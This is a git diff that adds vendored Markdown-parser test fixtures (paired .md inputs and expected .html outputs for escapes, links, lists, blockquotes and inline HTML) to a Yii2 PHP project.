    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.md new file mode 100644 index 00000000..abbc4886 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_auto_links.md @@ -0,0 +1,13 @@ +Link: . + +With an ampersand: + +* In a list? +* +* It should. + +> Blockquoted: + +Auto-links should not occur here: `` + + or here: \ No newline at end of file diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html new file mode 100644 index 00000000..587a8d60 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.html @@ -0,0 +1,67 @@ +

    These should all get escaped:

    +

    Backslash: \

    +

    Backtick: `

    +

    Asterisk: *

    +

    Underscore: _

    +

    Left brace: {

    +

    Right brace: }

    +

    Left bracket: [

    +

    Right bracket: ]

    +

    Left paren: (

    +

    Right paren: )

    +

    Greater-than: >

    +

    Hash: #

    +

    Period: .

    +

    Bang: !

    +

    Plus: +

    +

    Minus: -

    +

    These should not, because they occur within a code block:

    +
    Backslash: \\
    +
    +Backtick: \`
    +
    +Asterisk: \*
    +
    +Underscore: \_
    +
    +Left brace: \{
    +
    +Right brace: \}
    +
    +Left bracket: \[
    +
    +Right bracket: \]
    +
    +Left paren: \(
    +
    +Right paren: \)
    +
    +Greater-than: \>
    +
    +Hash: \#
    +
    +Period: \.
    +
    +Bang: \!
    +
    +Plus: \+
    +
    +Minus: \-
    +
    +

    Nor should these, which occur in code spans:

    +

    Backslash: \\

    +

    Backtick: \`

    +

    Asterisk: \*

    +

    Underscore: \_

    +

    Left brace: \{

    +

    Right brace: \}

    +

    Left bracket: \[

    +

    Right bracket: \]

    +

    Left paren: \(

    +

    Right paren: \)

    +

    Greater-than: \>

    +

    Hash: \#

    +

    Period: \.

    +

    Bang: \!

    +

    Plus: \+

    +

    Minus: \-

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md new file mode 100644 index 00000000..16447a01 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_backslash_escapes.md @@ -0,0 +1,104 @@ +These should all get escaped: + +Backslash: \\ + +Backtick: \` + +Asterisk: \* + +Underscore: \_ + +Left brace: \{ + +Right brace: \} + +Left bracket: \[ + +Right bracket: \] + +Left paren: \( + +Right paren: \) + +Greater-than: \> + +Hash: \# + +Period: \. + +Bang: \! + +Plus: \+ + +Minus: \- + + + +These should not, because they occur within a code block: + + Backslash: \\ + + Backtick: \` + + Asterisk: \* + + Underscore: \_ + + Left brace: \{ + + Right brace: \} + + Left bracket: \[ + + Right bracket: \] + + Left paren: \( + + Right paren: \) + + Greater-than: \> + + Hash: \# + + Period: \. + + Bang: \! + + Plus: \+ + + Minus: \- + + +Nor should these, which occur in code spans: + +Backslash: `\\` + +Backtick: `` \` `` + +Asterisk: `\*` + +Underscore: `\_` + +Left brace: `\{` + +Right brace: `\}` + +Left bracket: `\[` + +Right bracket: `\]` + +Left paren: `\(` + +Right paren: `\)` + +Greater-than: `\>` + +Hash: `\#` + +Period: `\.` + +Bang: `\!` + +Plus: `\+` + +Minus: `\-` diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.html new file mode 100644 index 00000000..fc69abb4 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.html @@ -0,0 +1,11 @@ +

    Example:

    +
    sub status {
    +    print "working";
    +}
    +
    +

    Or:

    +
    sub status {
    +    return "working";
    +}
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.md new file mode 100644 index 00000000..c31d1710 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_blockquotes_with_code_blocks.md @@ -0,0 +1,11 @@ +> Example: +> +> sub status { +> print "working"; +> } +> +> Or: +> +> sub status { +> return "working"; +> } diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.html new file mode 100644 index 00000000..a89efdbb --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.html @@ -0,0 +1,39 @@ +

    Dashes:

    +
    +
    +
    +
    +
    ---
    +
    +
    +
    +
    +
    +
    - - -
    +
    +

    Asterisks:

    +
    +
    +
    +
    +
    ***
    +
    +
    +
    +
    +
    +
    * * *
    +
    +

    Underscores:

    +
    +
    +
    +
    +
    ___
    +
    +
    +
    +
    +
    +
    _ _ _
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.md new file mode 100644 index 00000000..1594bda2 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_horizontal_rules.md @@ -0,0 +1,67 @@ +Dashes: + +--- + + --- + + --- + + --- + + --- + +- - - + + - - - + + - - - + + - - - + + - - - + + +Asterisks: + +*** + + *** + + *** + + *** + + *** + +* * * + + * * * + + * * * + + * * * + + * * * + + +Underscores: + +___ + + ___ + + ___ + + ___ + + ___ + +_ _ _ + + _ _ _ + + _ _ _ + + _ _ _ + + _ _ _ diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.html new file mode 100644 index 00000000..39f5a6e5 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.html @@ -0,0 +1,11 @@ +

    Simple block on one line:

    +
    foo
    +

    And nested without indentation:

    +
    +
    +
    +foo +
    +
    +
    bar
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.md new file mode 100644 index 00000000..9d71ddcc --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_avanced.md @@ -0,0 +1,14 @@ +Simple block on one line: + +
    foo
    + +And nested without indentation: + +
    +
    +
    +foo +
    +
    +
    bar
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.html new file mode 100644 index 00000000..8df5e1c7 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.html @@ -0,0 +1,8 @@ +

    Paragraph one.

    + + +

    Paragraph two.

    + +

    The end.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.md new file mode 100644 index 00000000..41d830d0 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_comments.md @@ -0,0 +1,13 @@ +Paragraph one. + + + + + +Paragraph two. + + + +The end. diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.html new file mode 100644 index 00000000..237ce670 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.html @@ -0,0 +1,46 @@ +

    Here's a simple block:

    +
    + foo +
    +

    This should be a code block, though:

    +
    <div>
    +	foo
    +</div>
    +
    +

    As should this:

    +
    <div>foo</div>
    +
    +

    Now, nested:

    +
    +
    +
    + foo +
    +
    +
    +

    This should just be an HTML comment:

    + +

    Multiline:

    + +

    Code block:

    +
    <!-- Comment -->
    +
    +

    Just plain comment, with trailing spaces on the line:

    + +

    Code:

    +
    <hr />
    +
    +
    +

    Hr's:

    +
    +
    +
    +
    +
    +
    +
    +
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.md new file mode 100644 index 00000000..14aa2dc2 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_inline_html_simple.md @@ -0,0 +1,69 @@ +Here's a simple block: + +
    + foo +
    + +This should be a code block, though: + +
    + foo +
    + +As should this: + +
    foo
    + +Now, nested: + +
    +
    +
    + foo +
    +
    +
    + +This should just be an HTML comment: + + + +Multiline: + + + +Code block: + + + +Just plain comment, with trailing spaces on the line: + + + +Code: + +
    + +Hr's: + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.html new file mode 100644 index 00000000..9c992e76 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.html @@ -0,0 +1,5 @@ +

    Just a URL.

    +

    URL and title.

    +

    URL and title.

    +

    URL and title.

    +

    Empty.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.md new file mode 100644 index 00000000..4d0c1c26 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_inline_style.md @@ -0,0 +1,9 @@ +Just a [URL](/url/). + +[URL and title](/url/ "title"). + +[URL and title](/url/ "title preceded by two spaces"). + +[URL and title](/url/ "title preceded by a tab"). + +[Empty](). diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.html new file mode 100644 index 00000000..0f297a80 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.html @@ -0,0 +1,10 @@ +

    Foo bar.

    +

    Foo bar.

    +

    Foo bar.

    +

    With embedded [brackets].

    +

    Indented once.

    +

    Indented twice.

    +

    Indented thrice.

    +

    Indented [four][] times.

    +
    [four]: /url
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.md new file mode 100644 index 00000000..b2fa7345 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_links_reference_style.md @@ -0,0 +1,31 @@ +Foo [bar] [1]. + +Foo [bar][1]. + +Foo [bar] +[1]. + +[1]: /url/ "Title" + + +With [embedded [brackets]] [b]. + + +Indented [once][]. + +Indented [twice][]. + +Indented [thrice][]. + +Indented [four][] times. + + [once]: /url + + [twice]: /url + + [thrice]: /url + + [four]: /url + + +[b]: /url/ diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.html new file mode 100644 index 00000000..62e86412 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.html @@ -0,0 +1,2 @@ +

    Foo bar.

    +

    Foo bar.

    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.md new file mode 100644 index 00000000..29d0e423 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_literal_quotes_in_titles.md @@ -0,0 +1,7 @@ +Foo [bar][]. + +Foo [bar](/url/ "Title with "quotes" inside"). + + + [bar]: /url/ "Title with "quotes" inside" + diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.html new file mode 100644 index 00000000..9f80b83f --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.html @@ -0,0 +1,243 @@ +

    Markdown: Basics

    + +

    Getting the Gist of Markdown's Formatting Syntax

    +

    This page offers a brief overview of what it's like to use Markdown. +The syntax page provides complete, detailed documentation for +every feature, but Markdown should be very easy to pick up simply by +looking at a few examples of it in action. The examples on this page +are written in a before/after style, showing example syntax and the +HTML output produced by Markdown.

    +

    It's also helpful to simply try Markdown out; the Dingus is a +web application that allows you type your own Markdown-formatted text +and translate it to XHTML.

    +

    Note: This document is itself written using Markdown; you +can see the source for it by adding '.text' to the URL.

    +

    Paragraphs, Headers, Blockquotes

    +

    A paragraph is simply one or more consecutive lines of text, separated +by one or more blank lines. (A blank line is any line that looks like a +blank line -- a line containing nothing spaces or tabs is considered +blank.) Normal paragraphs should not be intended with spaces or tabs.

    +

    Markdown offers two styles of headers: Setext and atx. +Setext-style headers for <h1> and <h2> are created by +"underlining" with equal signs (=) and hyphens (-), respectively. +To create an atx-style header, you put 1-6 hash marks (#) at the +beginning of the line -- the number of hashes equals the resulting +HTML header level.

    +

    Blockquotes are indicated using email-style '>' angle brackets.

    +

    Markdown:

    +
    A First Level Header
    +====================
    +
    +A Second Level Header
    +---------------------
    +
    +Now is the time for all good men to come to
    +the aid of their country. This is just a
    +regular paragraph.
    +
    +The quick brown fox jumped over the lazy
    +dog's back.
    +
    +### Header 3
    +
    +> This is a blockquote.
    +> 
    +> This is the second paragraph in the blockquote.
    +>
    +> ## This is an H2 in a blockquote
    +
    +

    Output:

    +
    <h1>A First Level Header</h1>
    +
    +<h2>A Second Level Header</h2>
    +
    +<p>Now is the time for all good men to come to
    +the aid of their country. This is just a
    +regular paragraph.</p>
    +
    +<p>The quick brown fox jumped over the lazy
    +dog's back.</p>
    +
    +<h3>Header 3</h3>
    +
    +<blockquote>
    +    <p>This is a blockquote.</p>
    +    
    +    <p>This is the second paragraph in the blockquote.</p>
    +    
    +    <h2>This is an H2 in a blockquote</h2>
    +</blockquote>
    +
    +

    Phrase Emphasis

    +

    Markdown uses asterisks and underscores to indicate spans of emphasis.

    +

    Markdown:

    +
    Some of these words *are emphasized*.
    +Some of these words _are emphasized also_.
    +
    +Use two asterisks for **strong emphasis**.
    +Or, if you prefer, __use two underscores instead__.
    +
    +

    Output:

    +
    <p>Some of these words <em>are emphasized</em>.
    +Some of these words <em>are emphasized also</em>.</p>
    +
    +<p>Use two asterisks for <strong>strong emphasis</strong>.
    +Or, if you prefer, <strong>use two underscores instead</strong>.</p>
    +
    +

    Lists

    +

    Unordered (bulleted) lists use asterisks, pluses, and hyphens (*, ++, and -) as list markers. These three markers are +interchangable; this:

    +
    *   Candy.
    +*   Gum.
    +*   Booze.
    +
    +

    this:

    +
    +   Candy.
    ++   Gum.
    ++   Booze.
    +
    +

    and this:

    +
    -   Candy.
    +-   Gum.
    +-   Booze.
    +
    +

    all produce the same output:

    +
    <ul>
    +<li>Candy.</li>
    +<li>Gum.</li>
    +<li>Booze.</li>
    +</ul>
    +
    +

    Ordered (numbered) lists use regular numbers, followed by periods, as +list markers:

    +
    1.  Red
    +2.  Green
    +3.  Blue
    +
    +

    Output:

    +
    <ol>
    +<li>Red</li>
    +<li>Green</li>
    +<li>Blue</li>
    +</ol>
    +
    +

    If you put blank lines between items, you'll get <p> tags for the +list item text. You can create multi-paragraph list items by indenting +the paragraphs by 4 spaces or 1 tab:

    +
    *   A list item.
    +
    +    With multiple paragraphs.
    +
    +*   Another item in the list.
    +
    +

    Output:

    +
    <ul>
    +<li><p>A list item.</p>
    +<p>With multiple paragraphs.</p></li>
    +<li><p>Another item in the list.</p></li>
    +</ul>
    +
    +
    +

    Links

    +

    Markdown supports two styles for creating links: inline and +reference. With both styles, you use square brackets to delimit the +text you want to turn into a link.

    +

    Inline-style links use parentheses immediately after the link text. +For example:

    +
    This is an [example link](http://example.com/).
    +
    +

    Output:

    +
    <p>This is an <a href="http://example.com/">
    +example link</a>.</p>
    +
    +

    Optionally, you may include a title attribute in the parentheses:

    +
    This is an [example link](http://example.com/ "With a Title").
    +
    +

    Output:

    +
    <p>This is an <a href="http://example.com/" title="With a Title">
    +example link</a>.</p>
    +
    +

    Reference-style links allow you to refer to your links by names, which +you define elsewhere in your document:

    +
    I get 10 times more traffic from [Google][1] than from
    +[Yahoo][2] or [MSN][3].
    +
    +[1]: http://google.com/        "Google"
    +[2]: http://search.yahoo.com/  "Yahoo Search"
    +[3]: http://search.msn.com/    "MSN Search"
    +
    +

    Output:

    +
    <p>I get 10 times more traffic from <a href="http://google.com/"
    +title="Google">Google</a> than from <a href="http://search.yahoo.com/"
    +title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/"
    +title="MSN Search">MSN</a>.</p>
    +
    +

    The title attribute is optional. Link names may contain letters, +numbers and spaces, but are not case sensitive:

    +
    I start my morning with a cup of coffee and
    +[The New York Times][NY Times].
    +
    +[ny times]: http://www.nytimes.com/
    +
    +

    Output:

    +
    <p>I start my morning with a cup of coffee and
    +<a href="http://www.nytimes.com/">The New York Times</a>.</p>
    +
    +

    Images

    +

    Image syntax is very much like link syntax.

    +

    Inline (titles are optional):

    +
    ![alt text](/path/to/img.jpg "Title")
    +
    +

    Reference-style:

    +
    ![alt text][id]
    +
    +[id]: /path/to/img.jpg "Title"
    +
    +

    Both of the above examples produce the same output:

    +
    <img src="/path/to/img.jpg" alt="alt text" title="Title" />
    +
    +

    Code

    +

    In a regular paragraph, you can create code span by wrapping text in +backtick quotes. Any ampersands (&) and angle brackets (< or +>) will automatically be translated into HTML entities. This makes +it easy to use Markdown to write about HTML example code:

    +
    I strongly recommend against using any `<blink>` tags.
    +
    +I wish SmartyPants used named entities like `&mdash;`
    +instead of decimal-encoded entites like `&#8212;`.
    +
    +

    Output:

    +
    <p>I strongly recommend against using any
    +<code>&lt;blink&gt;</code> tags.</p>
    +
    +<p>I wish SmartyPants used named entities like
    +<code>&amp;mdash;</code> instead of decimal-encoded
    +entites like <code>&amp;#8212;</code>.</p>
    +
    +

    To specify an entire block of pre-formatted code, indent every line of +the block by 4 spaces or 1 tab. Just like with code spans, &, <, +and > characters will be escaped automatically.

    +

    Markdown:

    +
    If you want your page to validate under XHTML 1.0 Strict,
    +you've got to put paragraph tags in your blockquotes:
    +
    +    <blockquote>
    +        <p>For example.</p>
    +    </blockquote>
    +
    +

    Output:

    +
    <p>If you want your page to validate under XHTML 1.0 Strict,
    +you've got to put paragraph tags in your blockquotes:</p>
    +
    +<pre><code>&lt;blockquote&gt;
    +    &lt;p&gt;For example.&lt;/p&gt;
    +&lt;/blockquote&gt;
    +</code></pre>
    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.md new file mode 100644 index 00000000..486055ca --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_markdown_documentation_basics.md @@ -0,0 +1,306 @@ +Markdown: Basics +================ + + + + +Getting the Gist of Markdown's Formatting Syntax +------------------------------------------------ + +This page offers a brief overview of what it's like to use Markdown. +The [syntax page] [s] provides complete, detailed documentation for +every feature, but Markdown should be very easy to pick up simply by +looking at a few examples of it in action. The examples on this page +are written in a before/after style, showing example syntax and the +HTML output produced by Markdown. + +It's also helpful to simply try Markdown out; the [Dingus] [d] is a +web application that allows you type your own Markdown-formatted text +and translate it to XHTML. + +**Note:** This document is itself written using Markdown; you +can [see the source for it by adding '.text' to the URL] [src]. + + [s]: /projects/markdown/syntax "Markdown Syntax" + [d]: /projects/markdown/dingus "Markdown Dingus" + [src]: /projects/markdown/basics.text + + +## Paragraphs, Headers, Blockquotes ## + +A paragraph is simply one or more consecutive lines of text, separated +by one or more blank lines. (A blank line is any line that looks like a +blank line -- a line containing nothing spaces or tabs is considered +blank.) Normal paragraphs should not be intended with spaces or tabs. + +Markdown offers two styles of headers: *Setext* and *atx*. +Setext-style headers for `

    ` and `

    ` are created by +"underlining" with equal signs (`=`) and hyphens (`-`), respectively. +To create an atx-style header, you put 1-6 hash marks (`#`) at the +beginning of the line -- the number of hashes equals the resulting +HTML header level. + +Blockquotes are indicated using email-style '`>`' angle brackets. + +Markdown: + + A First Level Header + ==================== + + A Second Level Header + --------------------- + + Now is the time for all good men to come to + the aid of their country. This is just a + regular paragraph. + + The quick brown fox jumped over the lazy + dog's back. + + ### Header 3 + + > This is a blockquote. + > + > This is the second paragraph in the blockquote. + > + > ## This is an H2 in a blockquote + + +Output: + +

    A First Level Header

    + +

    A Second Level Header

    + +

    Now is the time for all good men to come to + the aid of their country. This is just a + regular paragraph.

    + +

    The quick brown fox jumped over the lazy + dog's back.

    + +

    Header 3

    + +
    +

    This is a blockquote.

    + +

    This is the second paragraph in the blockquote.

    + +

    This is an H2 in a blockquote

    +
    + + + +### Phrase Emphasis ### + +Markdown uses asterisks and underscores to indicate spans of emphasis. + +Markdown: + + Some of these words *are emphasized*. + Some of these words _are emphasized also_. + + Use two asterisks for **strong emphasis**. + Or, if you prefer, __use two underscores instead__. + +Output: + +

    Some of these words are emphasized. + Some of these words are emphasized also.

    + +

    Use two asterisks for strong emphasis. + Or, if you prefer, use two underscores instead.

    + + + +## Lists ## + +Unordered (bulleted) lists use asterisks, pluses, and hyphens (`*`, +`+`, and `-`) as list markers. These three markers are +interchangable; this: + + * Candy. + * Gum. + * Booze. + +this: + + + Candy. + + Gum. + + Booze. + +and this: + + - Candy. + - Gum. + - Booze. + +all produce the same output: + +
      +
    • Candy.
    • +
    • Gum.
    • +
    • Booze.
    • +
    + +Ordered (numbered) lists use regular numbers, followed by periods, as +list markers: + + 1. Red + 2. Green + 3. Blue + +Output: + +
      +
    1. Red
    2. +
    3. Green
    4. +
    5. Blue
    6. +
    + +If you put blank lines between items, you'll get `

    ` tags for the +list item text. You can create multi-paragraph list items by indenting +the paragraphs by 4 spaces or 1 tab: + + * A list item. + + With multiple paragraphs. + + * Another item in the list. + +Output: + +

      +
    • A list item.

      +

      With multiple paragraphs.

    • +
    • Another item in the list.

    • +
    + + + +### Links ### + +Markdown supports two styles for creating links: *inline* and +*reference*. With both styles, you use square brackets to delimit the +text you want to turn into a link. + +Inline-style links use parentheses immediately after the link text. +For example: + + This is an [example link](http://example.com/). + +Output: + +

    This is an + example link.

    + +Optionally, you may include a title attribute in the parentheses: + + This is an [example link](http://example.com/ "With a Title"). + +Output: + +

    This is an + example link.

    + +Reference-style links allow you to refer to your links by names, which +you define elsewhere in your document: + + I get 10 times more traffic from [Google][1] than from + [Yahoo][2] or [MSN][3]. + + [1]: http://google.com/ "Google" + [2]: http://search.yahoo.com/ "Yahoo Search" + [3]: http://search.msn.com/ "MSN Search" + +Output: + +

    I get 10 times more traffic from Google than from Yahoo or MSN.

    + +The title attribute is optional. Link names may contain letters, +numbers and spaces, but are *not* case sensitive: + + I start my morning with a cup of coffee and + [The New York Times][NY Times]. + + [ny times]: http://www.nytimes.com/ + +Output: + +

    I start my morning with a cup of coffee and + The New York Times.

    + + +### Images ### + +Image syntax is very much like link syntax. + +Inline (titles are optional): + + ![alt text](/path/to/img.jpg "Title") + +Reference-style: + + ![alt text][id] + + [id]: /path/to/img.jpg "Title" + +Both of the above examples produce the same output: + + alt text + + + +### Code ### + +In a regular paragraph, you can create code span by wrapping text in +backtick quotes. Any ampersands (`&`) and angle brackets (`<` or +`>`) will automatically be translated into HTML entities. This makes +it easy to use Markdown to write about HTML example code: + + I strongly recommend against using any `` tags. + + I wish SmartyPants used named entities like `—` + instead of decimal-encoded entites like `—`. + +Output: + +

    I strongly recommend against using any + <blink> tags.

    + +

    I wish SmartyPants used named entities like + &mdash; instead of decimal-encoded + entites like &#8212;.

    + + +To specify an entire block of pre-formatted code, indent every line of +the block by 4 spaces or 1 tab. Just like with code spans, `&`, `<`, +and `>` characters will be escaped automatically. + +Markdown: + + If you want your page to validate under XHTML 1.0 Strict, + you've got to put paragraph tags in your blockquotes: + +
    +

    For example.

    +
    + +Output: + +

    If you want your page to validate under XHTML 1.0 Strict, + you've got to put paragraph tags in your blockquotes:

    + +
    <blockquote>
    +        <p>For example.</p>
    +    </blockquote>
    +    
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.html new file mode 100644 index 00000000..d9900349 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.html @@ -0,0 +1,5 @@ +

    foo

    +

    bar

    +
    +

    foo

    +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.md new file mode 100644 index 00000000..ed3c624f --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_nested_blockquotes.md @@ -0,0 +1,5 @@ +> foo +> +> > bar +> +> foo diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.html new file mode 100644 index 00000000..e128e432 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.html @@ -0,0 +1,125 @@ +

    Unordered

    +

    Asterisks tight:

    +
      +
    • asterisk 1
    • +
    • asterisk 2
    • +
    • asterisk 3
    • +
    +

    Asterisks loose:

    +
      +
    • asterisk 1

      +
    • +
    • asterisk 2

      +
    • +
    • asterisk 3

      +
    • +
    +
    +

    Pluses tight:

    +
      +
    • Plus 1
    • +
    • Plus 2
    • +
    • Plus 3
    • +
    +

    Pluses loose:

    +
      +
    • Plus 1

      +
    • +
    • Plus 2

      +
    • +
    • Plus 3

      +
    • +
    +
    +

    Minuses tight:

    +
      +
    • Minus 1
    • +
    • Minus 2
    • +
    • Minus 3
    • +
    +

    Minuses loose:

    +
      +
    • Minus 1

      +
    • +
    • Minus 2

      +
    • +
    • Minus 3

      +
    • +
    +

    Ordered

    +

    Tight:

    +
      +
    1. First
    2. +
    3. Second
    4. +
    5. Third
    6. +
    +

    and:

    +
      +
    1. One
    2. +
    3. Two
    4. +
    5. Three
    6. +
    +

    Loose using tabs:

    +
      +
    1. First

      +
    2. +
    3. Second

      +
    4. +
    5. Third

      +
    6. +
    +

    and using spaces:

    +
      +
    1. One

      +
    2. +
    3. Two

      +
    4. +
    5. Three

      +
    6. +
    +

    Multiple paragraphs:

    +
      +
    1. Item 1, graf one.

      +

      Item 2. graf two. The quick brown fox jumped over the lazy dog's +back.

      +
    2. +
    3. Item 2.

      +
    4. +
    5. Item 3.

      +
    6. +
    +

    Nested

    +
      +
    • Tab
        +
      • Tab
          +
        • Tab
        • +
        +
      • +
      +
    • +
    +

    Here's another:

    +
      +
    1. First
    2. +
    3. Second:
        +
      • Fee
      • +
      • Fie
      • +
      • Foe
      • +
      +
    4. +
    5. Third
    6. +
    +

    Same thing but with paragraphs:

    +
      +
    1. First

      +
    2. +
    3. Second:

      +
        +
      • Fee
      • +
      • Fie
      • +
      • Foe
      • +
      +
    4. +
    5. Third

      +
    6. +
    diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.md b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.md new file mode 100644 index 00000000..726b1375 --- /dev/null +++ b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_ordered_and_unordered_lists.md @@ -0,0 +1,123 @@ +## Unordered + +Asterisks tight: + +* asterisk 1 +* asterisk 2 +* asterisk 3 + + +Asterisks loose: + +* asterisk 1 + +* asterisk 2 + +* asterisk 3 + +- - - + +Pluses tight: + ++ Plus 1 ++ Plus 2 ++ Plus 3 + + +Pluses loose: + ++ Plus 1 + ++ Plus 2 + ++ Plus 3 + +* * * + + +Minuses tight: + +- Minus 1 +- Minus 2 +- Minus 3 + + +Minuses loose: + +- Minus 1 + +- Minus 2 + +- Minus 3 + + +## Ordered + +Tight: + +1. First +2. Second +3. Third + +and: + +1. One +2. Two +3. Three + + +Loose using tabs: + +1. First + +2. Second + +3. Third + +and using spaces: + +1. One + +2. Two + +3. Three + +Multiple paragraphs: + +1. Item 1, graf one. + + Item 2. graf two. The quick brown fox jumped over the lazy dog's + back. + +2. Item 2. + +3. Item 3. + + + +## Nested + +* Tab + * Tab + * Tab + +Here's another: + +1. First +2. Second: + * Fee + * Fie + * Foe +3. Third + +Same thing but with paragraphs: + +1. First + +2. Second: + + * Fee + * Fie + * Foe + +3. Third diff --git a/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.html b/php/yii2/basic/vendor/cebe/markdown/tests/markdown-data/md1_strong_and_em_together.html new file mode 100644 index 00000000..26295948 --- /dev/null +++ 